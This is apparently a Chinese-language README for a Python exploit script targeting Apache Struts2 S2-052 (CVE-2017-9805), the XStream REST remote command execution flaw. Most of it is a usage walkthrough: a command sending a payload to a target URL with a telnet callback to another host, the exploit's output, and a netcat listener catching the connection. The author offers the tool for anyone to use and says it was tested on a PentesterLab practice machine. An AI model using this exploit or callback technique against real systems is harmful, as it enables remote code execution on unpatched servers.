漏洞信息

资源： * https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9805

这是什么？

一个Python利用脚本，能够在运行易受S2-052攻击的Struts2系统的shell中执行远程命令。

用法

╭─root@blackshell ~/
╰─# python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234"

[*] Apache Struts XStream REST vulnerability - S2-052
[*] Creating payload ...
[*] Exploit packet has 2582 bytes.
[*] Sending exploit packet ...
[+] Exploit packet has been sent.

╭─zc00l@blackshell ~/
╰─$ nc -lvp 1234

listening on [any] 1234 ...
connect to [192.168.0.122] from vulnerable.lan [192.168.0.233] 55791
pwned

已在pentesterlab的s2-052练习的易受攻击机器上测试。

作者权利

这个利用脚本由我（zc00l）编写，任何人都可以使用。

如果你想使用或修改此脚本，请对已完成的工作给予应有的致谢。